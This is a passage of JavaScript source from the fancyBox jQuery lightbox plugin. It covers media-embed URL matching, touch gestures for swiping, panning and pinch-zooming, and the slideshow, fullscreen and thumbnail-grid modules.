      if ( from ) {
        this.setTranslate( $el, from );


      } else {

        // We need current values to calculate change in time
        from = this.getTranslate( $el );

      }

      $el.show();

      requestAFrame( frame );
    }

  };


  // Event handler for click event to "fancyboxed" links
  // ===================================================

  function _run( e ) {
    var target	= e.currentTarget,
      opts	= e.data ? e.data.options : {},
      items	= e.data ? e.data.items : [],
      value	= '',
      index	= 0;

    e.preventDefault();
    e.stopPropagation();

    // Get all related items and find index for clicked one

    if ( $(target).attr( 'data-fancybox' ) ) {
      value = $(target).data( 'fancybox' );
    }

    if ( value ) {
      items = items.length ? items.filter( '[data-fancybox="' + value + '"]' ) : $( '[data-fancybox=' + value + ']' );
      index = items.index( target );

    } else {
      items = [ target ];
    }

    $.fancybox.open( items, opts, index );
  }


  // Create a jQuery plugin
  // ======================

  $.fn.fancybox = function (options) {

    this.off('click.fb-start').on('click.fb-start', {
      items   : this,
      options : options || {}
    }, _run);

    return this;

  };


  // Self initializing plugin
  // ========================

  $(document).on('click.fb-start', '[data-fancybox]', _run);

}(window, document, window.jQuery));

// ==========================================================================
//
// Media
// Adds additional media type support
//
// ==========================================================================
;(function ($) {

  'use strict';

  // Formats matching url to final form

  var format = function (url, rez, params) {
    if (!url) {
      return;
    }
    params = params || '';

    if ($.type(params) === "object") {
      params = $.param(params, true);
    }

    $.each(rez, function (key, value) {
      url = url.replace('$' + key, value || '');
    });

    if (params.length) {
      url += (url.indexOf('?') > 0 ? '&' : '?') + params;
    }

    return url;
  };

  // Object containing properties for each media type

  var media = {
    youtube: {
      matcher: /(youtube\.com|youtu\.be|youtube\-nocookie\.com)\/(watch\?(.*&)?v=|v\/|u\/|embed\/?)?(videoseries\?list=(.*)|[\w-]{11}|\?listType=(.*)&list=(.*))(.*)/i,
      params: {
        autoplay: 1,
        autohide: 1,
        fs: 1,
        rel: 0,
        hd: 1,
        wmode: 'transparent',
        enablejsapi: 1,
        html5: 1
      },
      paramPlace : 8,
      type: 'iframe',
      url: '//www.youtube.com/embed/$4',
      thumb: '//img.youtube.com/vi/$4/hqdefault.jpg'
    },

    vimeo: {
      matcher: /((player\.)?vimeo(pro)?\.com)\/(video\/)?([\d]+)?(\?(.*))?/,
      params: {
        autoplay: 1,
        hd: 1,
        show_title: 1,
        show_byline: 1,
        show_portrait: 0,
        fullscreen: 1,
        api: 1
      },
      paramPlace : 7,
      type: 'iframe',
      url: '//player.vimeo.com/video/$5'
    },

    metacafe: {
      matcher: /metacafe.com\/watch\/(\d+)\/(.*)?/,
      type: 'iframe',
      url: '//www.metacafe.com/embed/$1/?ap=1'
    },

    dailymotion: {
      matcher: /dailymotion.com\/video\/(.*)\/?(.*)/,
      params: {
        additionalInfos: 0,
        autoStart: 1
      },
      type: 'iframe',
      url: '//www.dailymotion.com/embed/video/$1'
    },

    vine: {
      matcher: /vine.co\/v\/([a-zA-Z0-9\?\=\-]+)/,
      type: 'iframe',
      url: '//vine.co/v/$1/embed/simple'
    },

    instagram: {
      matcher: /(instagr\.am|instagram\.com)\/p\/([a-zA-Z0-9_\-]+)\/?/i,
      type: 'image',
      url: '//$1/p/$2/media/?size=l'
    },

    // Examples:
    // http://maps.google.com/?ll=48.857995,2.294297&spn=0.007666,0.021136&t=m&z=16
    // http://maps.google.com/?ll=48.857995,2.294297&spn=0.007666,0.021136&t=m&z=16
    // https://www.google.lv/maps/place/Googleplex/@37.4220041,-122.0833494,17z/data=!4m5!3m4!1s0x0:0x6c296c66619367e0!8m2!3d37.4219998!4d-122.0840572
    google_maps: {
      matcher: /(maps\.)?google\.([a-z]{2,3}(\.[a-z]{2})?)\/(((maps\/(place\/(.*)\/)?\@(.*),(\d+.?\d+?)z))|(\?ll=))(.*)?/i,
      type: 'iframe',
      url: function (rez) {
        return '//maps.google.' + rez[2] + '/?ll=' + ( rez[9] ? rez[9] + '&z=' + Math.floor(  rez[10]  ) + ( rez[12] ? rez[12].replace(/^\//, "&") : '' )  : rez[12] ) + '&output=' + ( rez[12] && rez[12].indexOf('layer=c') > 0 ? 'svembed' : 'embed' );
      }
    }
  };

  $(document).on('onInit.fb', function (e, instance) {

    $.each(instance.group, function( i, item ) {

      var url	 = item.src || '',
        type = false,
        thumb,
        rez,
        params,
        urlParams,
        o,
        id,
        provider;

      // Skip items that already have content type
      if ( item.type ) {
        return;
      }

      // Look for any matching media type

      $.each(media, function ( n, el ) {
        rez = url.match(el.matcher);
        o   = {};
        provider = n;

        if (!rez) {
          return;
        }

        type = el.type;

        if ( el.paramPlace && rez[ el.paramPlace ] ) {
          urlParams = rez[ el.paramPlace ];

          if ( urlParams[ 0 ] == '?') {
            urlParams = urlParams.substring(1);
          }

          urlParams = urlParams.split('&');

          for ( var m = 0; m < urlParams.length; ++m ) {
            var p = urlParams[ m ].split('=', 2);

            if ( p.length == 2 ) {
              o[ p[0] ] = decodeURIComponent( p[1].replace(/\+/g, " ") );
            }
          }
        }

        if ( el.idPlace ) {
          id = rez[ el.idPlace ];
        }

        params = $.extend( true, {}, el.params, item.opts[ n ], o );

        url   = $.type(el.url) === "function" ? el.url.call(this, rez, params, item) : format(el.url, rez, params);
        thumb = $.type(el.thumb) === "function" ? el.thumb.call(this, rez, params, item) : format(el.thumb, rez);

        return false;
      });

      // If it is found, then change content type and update the url

      if ( type ) {
        item.src  = url;
        item.type = type;

        if ( !item.opts.thumb && !(item.opts.$thumb && item.opts.$thumb.length ) ) {
          item.opts.thumb = thumb;
        }

        if ( id ) {
          item.opts.id = provider + '-' + id;
        }

        if ( type === 'iframe' ) {
          $.extend(true, item.opts, {
            iframe : {
              preload   : false,
              scrolling : "no"
            },
            smallBtn   : false,
            closeBtn   : true,
            fullScreen : false,
            slideShow  : false
          });

          item.opts.slideClass += ' fancybox-slide--video';
        }

      } else {

        // If no content type is found, then set it to `iframe` as fallback
        item.type = 'iframe';

      }

    });

  });

}(window.jQuery));

// ==========================================================================
//
// Guestures
// Adds touch guestures, handles click and tap events
//
// ==========================================================================
;(function (window, document, $) {
  'use strict';

  var requestAFrame = (function() {
    return  window.requestAnimationFrame ||
      window.webkitRequestAnimationFrame ||
      window.mozRequestAnimationFrame ||
      function( callback ) {
        window.setTimeout(callback, 1000 / 60); };
  })();


  var pointers = function( e ) {
    var result = [];

    e = e.originalEvent || e || window.e;
    e = e.touches && e.touches.length ? e.touches : ( e.changedTouches && e.changedTouches.length ? e.changedTouches : [ e ] );

    for ( var key in e ) {

      if ( e[ key ].pageX ) {
        result.push( { x : e[ key ].pageX, y : e[ key ].pageY } );

      } else if ( e[ key ].clientX ) {
        result.push( { x : e[ key ].clientX, y : e[ key ].clientY } );
      }
    }

    return result;
  };

  var distance = function( point2, point1, what ) {

    if ( what === 'x' ) {
      return point2.x - point1.x;

    } else if ( what === 'y' ) {
      return point2.y - point1.y;
    }

    return Math.sqrt( Math.pow( point2.x - point1.x, 2 ) + Math.pow( point2.y - point1.y, 2 ) );

  };

  var isClickable = function( $el ) {

    return $el.is('a') || $el.is('button') || $el.is('input') || $el.is('select') || $el.is('textarea') || $.isFunction( $el.get(0).onclick );

  };

  var hasScrollbars = function( el ) {
    var overflowY = window.getComputedStyle( el )['overflow-y'];
    var overflowX = window.getComputedStyle( el )['overflow-x'];

    var vertical   = (overflowY === 'scroll' || overflowY === 'auto') && el.scrollHeight > el.clientHeight;
    var horizontal = (overflowX === 'scroll' || overflowX === 'auto') && el.scrollWidth > el.clientWidth;

    return vertical || horizontal;
  };

  var isScrollable = function ( $el ) {

    var rez = false;

    while ( true ) {
      rez	= hasScrollbars( $el.get(0) );

      if ( rez ) {
        break;
      }

      $el = $el.parent();

      if ( !$el.length || $el.hasClass('fancybox-slider') || $el.is('body') ) {
        break;
      }

    }

    return rez;

  };


  var Guestures = function ( instance ) {

    var self = this;

    self.instance = instance;

    self.$wrap       = instance.$refs.slider_wrap;
    self.$slider     = instance.$refs.slider;
    self.$container  = instance.$refs.container;

    self.destroy();

    self.$wrap.on('touchstart.fb mousedown.fb', $.proxy(self, "ontouchstart"));

  };

  Guestures.prototype.destroy = function() {

    this.$wrap.off('touchstart.fb mousedown.fb touchmove.fb mousemove.fb touchend.fb touchcancel.fb mouseup.fb mouseleave.fb');

  };


  Guestures.prototype.ontouchstart = function( e ) {

    var self = this;

    var $target  = $( e.target );
    var instance = self.instance;
    var current  = instance.current;
    var $content = current.$content || current.$placeholder;

    var frame = function() {

      if ( self.sliderNewPos ) {
        $.fancybox.setTranslate( self.$slider, self.sliderNewPos );

        self.sliderNewPos = null;
      }

      if ( self.contentNewPos ) {
        $.fancybox.setTranslate( self.$content, self.contentNewPos );

        self.contentNewPos = null;
      }

      if ( self.isSwiping || self.isPanning || self.isZooming ) {
        requestAFrame( frame );
      }

    };

    // Ignore taping on links, buttons and scrollable items
    if ( isClickable( $target ) || isClickable( $target.parent() ) || ( isScrollable( $target ) && !$target.hasClass('fancybox-slide') ) ) {
      return;
    }

    e.stopPropagation();
    e.preventDefault();

    if ( !current || self.instance.isAnimating || self.instance.isClosing ) {
      return;
    }

    self.startPoints = pointers( e );

    // Prevent zooming if already swiping
    if ( self.startPoints.length > 1 && !current.isMoved ) {
      return;
    }

    self.$wrap.off('touchmove.fb mousemove.fb',  $.proxy(self, "ontouchmove"));
    self.$wrap.off('touchend.fb touchcancel.fb mouseup.fb mouseleave.fb',  $.proxy(self, "ontouchend"));

    self.$wrap.on('touchmove.fb mousemove.fb',  $.proxy(self, "ontouchmove"));
    self.$wrap.on('touchend.fb touchcancel.fb mouseup.fb mouseleave.fb',  $.proxy(self, "ontouchend"));

    self.$target  = $target;
    self.$content = $content;

    self.startTime = new Date().getTime();
    self.distanceX = self.distanceY = self.distance = 0;

    self.canvasWidth  = Math.round( current.$slide.width() );
    self.canvasHeight = Math.round( current.$slide.height() );

    self.canTap    = current.isMoved;
    self.isPanning = false;
    self.isSwiping = false;
    self.isZooming = false;

    self.sliderStartPos = $.fancybox.getTranslate( self.$slider );
    self.sliderNewPos   = null;

    self.contentStartPos = $.fancybox.getTranslate( self.$content );
    self.contentNewPos   = null;

    if ( self.startPoints.length == 1 ) {

      if ( current.type === 'image' && ( self.contentStartPos.width > self.canvasWidth + 1 || self.contentStartPos.height > self.canvasHeight + 1 ) ) {

        $.fancybox.stop( self.$content );

        self.isPanning = true;

      } else {

        $.fancybox.stop( self.$slider );

        self.isSwiping = true;
      }

      self.$container.addClass('fancybox-controls--isGrabbing');

    }

    if ( current.type === 'image' && !current.hasError && self.startPoints.length == 2 && ( current.isLoaded || current.$ghost ) ) {

      self.isZooming = true;
      self.canTap    = false;

      $.fancybox.stop( self.$content );

      self.centerPointStartX = ((self.startPoints[0].x + self.startPoints[1].x) / 2) - $(window).scrollLeft();
      self.centerPointStartY = ((self.startPoints[0].y + self.startPoints[1].y) / 2) - $(window).scrollTop();

      self.percentageOfImageAtPinchPointX = ( self.centerPointStartX - self.contentStartPos.left ) / self.contentStartPos.width;
      self.percentageOfImageAtPinchPointY = ( self.centerPointStartY - self.contentStartPos.top  ) / self.contentStartPos.height;

      self.startDistanceBetweenFingers = distance( self.startPoints[0], self.startPoints[1] );

    }

    frame();
  };

  Guestures.prototype.ontouchmove = function( e ) {

    var self = this;

    e.preventDefault();

    if ( self.instance.isAnimating ) {
      return;
    }

    self.newPoints = pointers( e );

    if ( !self.newPoints.length ) {
      return;
    }

    self.distanceX = distance( self.newPoints[0], self.startPoints[0], 'x' );
    self.distanceY = distance( self.newPoints[0], self.startPoints[0], 'y' );

    self.distance = distance( self.newPoints[0], self.startPoints[0] );

    // Skip false ontouchmove events (Chrome)
    if ( self.distance > 0 ) {

      if ( self.isSwiping ) {
        self.onSwipe();

      } else if ( self.isPanning ) {
        self.onPan();

      } else if ( self.isZooming ) {
        self.onZoom();
      }

    }

  };

  Guestures.prototype.onSwipe = function() {

    var self = this;

    var swiping = self.isSwiping;
    var angle;

    if ( swiping === true ) {

      if ( Math.abs( self.distance ) > 10 )  {

        angle   = Math.abs( Math.atan2( self.distanceY, self.distanceX ) * 180 / Math.PI );
        swiping = ( angle > 45 && angle < 135 ) || self.instance.group.length <= 1 ? 'y' : 'x';

        if ( self.instance.opts.touch.vertical === false || ( self.instance.opts.touch.vertical === 'auto' && $( window ).width() > 800 ) ) {
          swiping = 'x';
        }

        self.isSwiping = swiping;
        self.canTap    = false;

        self.instance.current.isMoved = false;
        self.instance.allowZoomIn = false;

        // Reset points to avoid jumping, because we dropped first swipes to calculate the angle
        self.startPoints = self.newPoints;
      }

    } else {

      self.sliderNewPos = {
        top  : swiping == 'x' ? 0 : self.sliderStartPos.top  + self.distanceY,
        left : swiping == 'y' ? self.sliderStartPos.left : self.sliderStartPos.left + self.distanceX
      };

    }

  };

  Guestures.prototype.onPan = function() {

    var self = this;

    var newOffsetX, newOffsetY, newPos;

    self.canTap = false;

    if ( self.contentStartPos.width > self.canvasWidth ) {
      newOffsetX = self.contentStartPos.left + self.distanceX;

    } else {
      newOffsetX = self.contentStartPos.left;

    }

    newOffsetY = self.contentStartPos.top + self.distanceY;

    newPos = self.limitMovement( newOffsetX, newOffsetY, self.contentStartPos.width, self.contentStartPos.height );

    newPos.scaleX = self.contentStartPos.scaleX;
    newPos.scaleY = self.contentStartPos.scaleY;

    self.contentNewPos  = newPos;
    self.contentLastPos = newPos;

  };

  // Make panning sticky to the edges
  Guestures.prototype.limitMovement = function( newOffsetX, newOffsetY, newWidth, newHeight ) {

    var self = this;

    var minTranslateX, minTranslateY, maxTranslateX, maxTranslateY;

    var canvasWidth  = self.canvasWidth;
    var canvasHeight = self.canvasHeight;

    var currentOffsetX = self.contentStartPos.left;
    var currentOffsetY = self.contentStartPos.top;

    var distanceX = self.distanceX;
    var distanceY = self.distanceY;

    // Slow down proportionally to traveled distance

    minTranslateX = Math.max(0, canvasWidth  * 0.5 - newWidth  * 0.5 );
    minTranslateY = Math.max(0, canvasHeight * 0.5 - newHeight * 0.5 );

    maxTranslateX = Math.min( canvasWidth  - newWidth,  canvasWidth  * 0.5 - newWidth  * 0.5 );
    maxTranslateY = Math.min( canvasHeight - newHeight, canvasHeight * 0.5 - newHeight * 0.5 );

    if ( newWidth > canvasWidth ) {

      //   ->
      if ( distanceX > 0 && newOffsetX > minTranslateX ) {
        newOffsetX = minTranslateX - 1 + Math.pow(-minTranslateX + currentOffsetX + distanceX, 0.8 ) || 0;
      }

      //    <-
      if ( distanceX  < 0 && newOffsetX < maxTranslateX ) {
        newOffsetX = maxTranslateX + 1 - Math.pow( maxTranslateX - currentOffsetX - distanceX, 0.8 ) || 0;
      }

    }

    if ( newHeight > canvasHeight ) {

      //   \/
      if ( distanceY > 0 && newOffsetY > minTranslateY ) {
        newOffsetY = minTranslateY - 1 + Math.pow(-minTranslateY + currentOffsetY + distanceY, 0.8 ) || 0;
      }

      //   /\
      if ( distanceY < 0 && newOffsetY < maxTranslateY ) {
        newOffsetY = maxTranslateY + 1 - Math.pow ( maxTranslateY - currentOffsetY - distanceY, 0.8 ) || 0;
      }

    }

    return {
      top  : newOffsetY,
      left : newOffsetX
    };

  };


  Guestures.prototype.limitPosition = function( newOffsetX, newOffsetY, newWidth, newHeight ) {

    var self = this;

    var canvasWidth  = self.canvasWidth;
    var canvasHeight = self.canvasHeight;

    if ( newWidth > canvasWidth ) {
      newOffsetX = newOffsetX > 0 ? 0 : newOffsetX;
      newOffsetX = newOffsetX < canvasWidth - newWidth ? canvasWidth - newWidth : newOffsetX;

    } else {

      // Center horizontally
      newOffsetX = Math.max( 0, canvasWidth / 2 - newWidth / 2 );

    }

    if ( newHeight > canvasHeight ) {
      newOffsetY = newOffsetY > 0 ? 0 : newOffsetY;
      newOffsetY = newOffsetY < canvasHeight - newHeight ? canvasHeight - newHeight : newOffsetY;

    } else {

      // Center vertically
      newOffsetY = Math.max( 0, canvasHeight / 2 - newHeight / 2 );

    }

    return {
      top  : newOffsetY,
      left : newOffsetX
    };

  };

  Guestures.prototype.onZoom = function() {

    var self = this;

    // Calculate current distance between points to get pinch ratio and new width and height

    var currentWidth  = self.contentStartPos.width;
    var currentHeight = self.contentStartPos.height;

    var currentOffsetX = self.contentStartPos.left;
    var currentOffsetY = self.contentStartPos.top;

    var endDistanceBetweenFingers = distance( self.newPoints[0], self.newPoints[1] );

    var pinchRatio = endDistanceBetweenFingers / self.startDistanceBetweenFingers;

    var newWidth  = Math.floor( currentWidth  * pinchRatio );
    var newHeight = Math.floor( currentHeight * pinchRatio );

    // This is the translation due to pinch-zooming
    var translateFromZoomingX = (currentWidth  - newWidth)  * self.percentageOfImageAtPinchPointX;
    var translateFromZoomingY = (currentHeight - newHeight) * self.percentageOfImageAtPinchPointY;

    //Point between the two touches

    var centerPointEndX = ((self.newPoints[0].x + self.newPoints[1].x) / 2) - $(window).scrollLeft();
    var centerPointEndY = ((self.newPoints[0].y + self.newPoints[1].y) / 2) - $(window).scrollTop();

    // And this is the translation due to translation of the centerpoint
    // between the two fingers

    var translateFromTranslatingX = centerPointEndX - self.centerPointStartX;
    var translateFromTranslatingY = centerPointEndY - self.centerPointStartY;

    // The new offset is the old/current one plus the total translation

    var newOffsetX = currentOffsetX + ( translateFromZoomingX + translateFromTranslatingX );
    var newOffsetY = currentOffsetY + ( translateFromZoomingY + translateFromTranslatingY );

    var newPos = {
      top    : newOffsetY,
      left   : newOffsetX,
      scaleX : self.contentStartPos.scaleX * pinchRatio,
      scaleY : self.contentStartPos.scaleY * pinchRatio
    };

    self.canTap = false;

    self.newWidth  = newWidth;
    self.newHeight = newHeight;

    self.contentNewPos  = newPos;
    self.contentLastPos = newPos;

  };

  Guestures.prototype.ontouchend = function( e ) {

    var self = this;

    var current = self.instance.current;

    var dMs = Math.max( (new Date().getTime() ) - self.startTime, 1);

    var swiping = self.isSwiping;
    var panning = self.isPanning;
    var zooming = self.isZooming;

    self.endPoints = pointers( e );

    if ( self.endPoints.length > 1 && ( self.isSwiping === 'x' || self.isSwiping === 'y' ) ) {
      return;
    }

    self.$container.removeClass('fancybox-controls--isGrabbing');

    self.$wrap.off('touchmove.fb mousemove.fb',  $.proxy(this, "ontouchmove"));
    self.$wrap.off('touchend.fb touchcancel.fb mouseup.fb mouseleave.fb',  $.proxy(this, "ontouchend"));

    self.isSwiping = false;
    self.isPanning = false;
    self.isZooming = false;

    if ( self.canTap )  {
      return self.ontap();
    }

    // Speed in px/ms
    self.velocityX = self.distanceX / dMs * 0.5;
    self.velocityY = self.distanceY / dMs * 0.5;

    self.speed = current.opts.speed;

    self.speedX = Math.max( self.speed * 0.5, Math.min( self.speed * 1.5, ( 1 / Math.abs( self.velocityX ) ) * self.speed ) );
    self.speedY = Math.max( self.speed * 0.5, Math.min( self.speed * 1.5, ( 1 / Math.abs( self.velocityY ) ) * self.speed ) );

    if ( swiping ) {
      self.endSwiping( swiping );

    } else if ( panning ) {
      self.endPanning();

    } else if ( zooming ) {
      self.endZooming();

    }


    return;
  };

  Guestures.prototype.endSwiping = function( swiping ) {

    var self = this;

    // Close if swiped vertically / navigate if horizontally

    if ( swiping == 'y' && Math.abs( self.distanceY ) > 50 ) {

      // Continue vertical movement

      $.fancybox.animate( self.$slider, null, {
        top     : self.sliderStartPos.top + self.distanceY + self.velocityY * 150,
        left    : self.sliderStartPos.left,
        opacity : 0
      }, self.speedY );

      self.instance.close( true );

    } else if ( swiping == 'x' && self.distanceX > 50 ) {
      self.instance.previous( self.speedX );

    } else if ( swiping == 'x' && self.distanceX < -50 ) {
      self.instance.next( self.speedX );

    } else {

      // Move back to center
      self.instance.update( false, true, self.speedX );

    }

  };

  Guestures.prototype.endPanning = function() {

    var self = this;

    var newOffsetX = self.contentLastPos.left + ( self.velocityX * self.speed * 2 );
    var newOffsetY = self.contentLastPos.top  + ( self.velocityY * self.speed * 2 );

    var newPos = self.limitPosition( newOffsetX, newOffsetY, self.contentStartPos.width, self.contentStartPos.height );

    newPos.width  = self.contentStartPos.width;
    newPos.height = self.contentStartPos.height;

    $.fancybox.animate( self.$content, null, newPos, self.speed, "easeOutSine" );

  };


  Guestures.prototype.endZooming = function() {

    var self = this;

    var current = self.instance.current;
    var newPos;

    var newOffsetX = self.contentLastPos.left;
    var newOffsetY = self.contentLastPos.top;

    var newWidth  = self.newWidth;
    var newHeight = self.newHeight;

    var reset = {
      top    : newOffsetY,
      left   : newOffsetX,
      width  : newWidth,
      height : newHeight,
      scaleX : 1,
      scaleY : 1
    };

    // Reset scalex/scaleY values; this helps for perfomance and does not break animation
    $.fancybox.setTranslate( self.$content, reset );

    if ( newWidth < self.canvasWidth && newHeight < self.canvasHeight ) {
      self.instance.scaleToFit( 150 );

    } else if ( newWidth > current.width || newHeight > current.height ) {
      self.instance.scaleToActual( self.centerPointStartX, self.centerPointStartY, 150 );

    } else {

      newPos = self.limitPosition( newOffsetX, newOffsetY, newWidth, newHeight );

      $.fancybox.animate( self.$content, null, newPos, self.speed, "easeOutSine" );

    }

  };

  Guestures.prototype.ontap = function() {

    var self = this;

    var x = self.endPoints[0].x;
    var y = self.endPoints[0].y;

    x = x - self.$wrap.offset().left;
    y = y - self.$wrap.offset().top;

    if ( !$.fancybox.isTouch ) {

      if ( self.instance.opts.closeClickOutside && self.$target.is('.fancybox-slide') ) {
        self.instance.close();

        return;
      }

      if ( self.instance.current.type == 'image' && self.instance.current.isMoved ) {

        if ( self.instance.canPan() ) {
          self.instance.scaleToFit();

        } else if ( self.instance.isScaledDown() ) {
          self.instance.scaleToActual( x, y );

        } else if ( self.instance.group.length < 2 ) {
          self.instance.close();

        }

      }

      return;
    }


    // Double tap
    if ( self.tapped ) {

      self.tapped = false;

      clearTimeout( self.id );

      if (Math.abs( x - self.x ) > 50 || Math.abs( y - self.y ) > 50 || !self.instance.current.isMoved ) {
        return this;
      }

      if ( !( self.instance.current.isLoaded || self.instance.current.$ghost ) ) {
        return;
      }

      if ( self.instance.current.type == 'image' ) {

        if ( self.instance.canPan() ) {
          self.instance.scaleToFit();

        } else if ( self.instance.isScaledDown() ) {
          self.instance.scaleToActual( x, y );

        }

      }

    } else {

      // Single tap

      self.tapped = true;

      self.x = x;
      self.y = y;

      self.id = setTimeout(function() {
        self.tapped = false;

        self.instance.toggleControls( true );

      }, 300);
    }

    return this;
  };

  $(document).on('onActivate.fb', function (e, instance) {

    if ( instance.opts.touch && !instance.Guestures ) {
      instance.Guestures = new Guestures( instance );
    }

  });

  $(document).on('beforeClose.fb', function (e, instance) {

    if ( instance.Guestures ) {
      instance.Guestures.destroy();
    }

  });


}(window, document, window.jQuery));

// ==========================================================================
//
// SlideShow
// Enables slideshow functionality
//
// Example of usage:
// $.fancybox.getInstance().slideShow.start()
//
// ==========================================================================
;(function (document, $) {
  'use strict';

  var SlideShow = function( instance ) {

    this.instance = instance;

    this.init();

  };

  $.extend( SlideShow.prototype, {
    timer   : null,
    speed   : 3000,
    $button : null,

    init : function() {
      var self = this;

      self.$button = $('<button data-fancybox-play class="fancybox-button fancybox-button--play" title="Slideshow (P)"></button>')
        .appendTo( self.instance.$refs.buttons );

      self.instance.$refs.container.on('click', '[data-fancybox-play]', function() {
        self.toggle();
      });

    },

    set : function() {
      var self = this;

      // Check if reached last element
      if (self.instance && self.instance.current && self.instance.currIndex < self.instance.group.length - 1) {

        self.timer = setTimeout(function() {
          self.instance.next();

        }, self.speed);

      } else {
        self.stop();
      }
    },

    clear : function() {
      var self = this;

      clearTimeout( self.timer );

      self.timer = null;
    },

    start : function() {
      var self = this;

      self.stop();

      if (self.instance && self.instance.current && self.instance.currIndex < self.instance.group.length - 1) {

        self.instance.$refs.container.on({
          'beforeLoad.fb.player'	: $.proxy(self, "clear"),
          'onComplete.fb.player'	: $.proxy(self, "set"),
        });

        if ( self.instance.current.isComplete ) {
          self.set();

        } else {
          self.timer = true;
        }

        self.instance.$refs.container.trigger('onPlayStart');

        self.$button.addClass('fancybox-button--pause');
      }

    },

    stop: function() {
      var self = this;

      self.clear();

      self.instance.$refs.container
        .trigger('onPlayEnd')
        .off('.player');

      self.$button.removeClass('fancybox-button--pause');
    },

    toggle : function() {
      var self = this;

      if ( self.timer ) {
        self.stop();

      } else {
        self.start();
      }
    }

  });

  $(document).on('onInit.fb', function(e, instance) {

    if ( !!instance.opts.slideShow && !instance.SlideShow && instance.group.length > 1 ) {
      instance.SlideShow = new SlideShow( instance );
    }

  });

  $(document).on('beforeClose.fb onDeactivate.fb', function(e, instance) {

    if ( instance.SlideShow ) {
      instance.SlideShow.stop();
    }

  });

}(document, window.jQuery));

// ==========================================================================
//
// FullScreen
// Adds fullscreen functionality
//
// ==========================================================================
;(function (document, $) {
  'use strict';

  var FullScreen = function( instance ) {

    this.instance = instance;

    this.init();

  };

  $.extend( FullScreen.prototype, {

    $button : null,

    init : function() {
      var self = this;

      if ( !self.isAvailable() ) {
        return;
      }

      self.$button = $('<button data-fancybox-fullscreen class="fancybox-button fancybox-button--fullscreen" title="Full screen (F)"></button>')
        .appendTo( self.instance.$refs.buttons );

      self.instance.$refs.container.on('click.fb-fullscreen', '[data-fancybox-fullscreen]', function(e) {

        e.stopPropagation();
        e.preventDefault();

        self.toggle();

      });

      $(document).on('onUpdate.fb', function(e, instance) {
        self.$button.toggle( !!instance.current.opts.fullScreen );

        self.$button.toggleClass('fancybox-button-shrink', self.isActivated() );

      });

      $(document).on('afterClose.fb', function() {
        self.exit();
      });

    },

    isAvailable : function() {
      var element = this.instance.$refs.container.get(0);

      return !!(element.requestFullscreen || element.msRequestFullscreen || element.mozRequestFullScreen || element.webkitRequestFullscreen);

    },

    isActivated : function() {
      return !(!document.fullscreenElement && !document.mozFullScreenElement && !document.webkitFullscreenElement && !document.msFullscreenElement);

    },

    launch : function() {
      var element = this.instance.$refs.container.get(0);

      if ( !element || this.instance.isClosing ) {
        return;
      }

      if (element.requestFullscreen) {
        element.requestFullscreen();

      } else if (element.msRequestFullscreen) {
        element.msRequestFullscreen();

      } else if (element.mozRequestFullScreen) {
        element.mozRequestFullScreen();

      } else if (element.webkitRequestFullscreen) {
        element.webkitRequestFullscreen(element.ALLOW_KEYBOARD_INPUT);
      }

    },

    exit : function() {

      if (document.exitFullscreen) {
        document.exitFullscreen();

      } else if (document.msExitFullscreen) {
        document.msExitFullscreen();

      } else if (document.mozCancelFullScreen) {
        document.mozCancelFullScreen();

      } else if (document.webkitExitFullscreen) {
        document.webkitExitFullscreen();
      }

    },

    toggle : function() {

      if ( this.isActivated() ) {
        this.exit();

      } else if ( this.isAvailable() ) {
        this.launch();
      }

    }
  });

  $(document).on('onInit.fb', function(e, instance) {

    if ( !!instance.opts.fullScreen && !instance.FullScreen) {
      instance.FullScreen = new FullScreen( instance );
    }

  });

}(document, window.jQuery));

// ==========================================================================
//
// Thumbs
// Displays thumbnails in a grid
//
// ==========================================================================
;(function (document, $) {
  'use strict';

  var FancyThumbs = function( instance ) {

    this.instance = instance;

    this.init();

  };

  $.extend( FancyThumbs.prototype, {

    $button		: null,
    $grid		: null,
    $list		: null,
    isVisible	: false,

    init : function() {
      var self = this;

      self.$button = $('<button data-fancybox-thumbs class="fancybox-button fancybox-button--thumbs" title="Thumbnails (G)"></button>')
        .appendTo( this.instance.$refs.buttons )
        .on('touchend click', function(e) {
          e.stopPropagation();
          e.preventDefault();

          self.toggle();
        });

    },

    create : function() {
      var instance = this.instance,
        list,
        src;

      this.$grid = $('<div class="fancybox-thumbs"></div>').appendTo( instance.$refs.container );

      list = '<ul>';

      $.each(instance.group, function( i, item ) {

        src = item.opts.thumb || ( item.opts.$thumb ? item.opts.$thumb.attr('src') : null );

        if ( !src && item.type === 'image' ) {
          src = item.src;
        }

        if ( src && src.length ) {
          list += '<li data-index="' + i + '"  tabindex="0" class="fancybox-thumbs-loading"><img data-src="' + src + '" /></li>';
        }

      });

      list += '</ul>';

      this.$list = $( list ).appendTo( this.$grid ).on('click touchstart', 'li', function() {

        instance.jumpTo( $(this).data('index') );

      });

      this.$list.find('img').hide().one('load', function() {

        var $parent		= $(this).parent().removeClass('fancybox-thumbs-loading'),
          thumbWidth	= $parent.outerWidth(),
          thumbHeight	= $parent.outerHeight(),
          width,
          height,
          widthRatio,
          heightRatio;

        width  = this.naturalWidth	|| this.width;
        height = this.naturalHeight	|| this.height;

        //Calculate thumbnail width/height and center it

        widthRatio  = width  / thumbWidth;
        heightRatio = height / thumbHeight;

        if (widthRatio >= 1 && heightRatio >= 1) {
          if (widthRatio > heightRatio) {
            width  = width / heightRatio;
            height = thumbHeight;

          } else {
            width  = thumbWidth;
            height = height / widthRatio;
          }
        }

        $(this).css({
          width         : Math.floor(width),
          height        : Math.floor(height),
          'margin-top'  : Math.min( 0, Math.floor(thumbHeight * 0.3 - height * 0.3 ) ),
          'margin-left' : Math.min( 0, Math.floor(thumbWidth  * 0.5 - width  * 0.5 ) )
        }).show();

      })
        .each(function() {
          this.src = $( this ).data( 'src' );
        });

    },

    focus : function() {

      if ( this.instance.current ) {
        this.$list
          .children()
          .removeClass('fancybox-thumbs-active')
          .filter('[data-index="' + this.instance.current.index  + '"]')
          .addClass('fancybox-thumbs-active')
          .focus();
      }

    },

    close : function() {

      this.$grid.hide();

    },

    update : function() {

      this.instance.$refs.container.toggleClass('fancybox-container--thumbs', this.isVisible);

      if ( this.isVisible ) {

        if ( !this.$grid ) {
          this.create();
        }

        this.$grid.show();

        this.focus();

      } else if ( this.$grid ) {
        this.$grid.hide();
      }

      if ( !this.instance.allowZoomIn ) {
        this.instance.update();
      }

    },

    hide : function() {

      this.isVisible = false;

      this.update();

    },

    show : function() {

      this.isVisible = true;

      this.update();

    },

    toggle : function() {

      if ( this.isVisible ) {
        this.hide();

      } else {
        this.show();
      }
    }

  });

  $(document).on('onInit.fb', function(e, instance) {

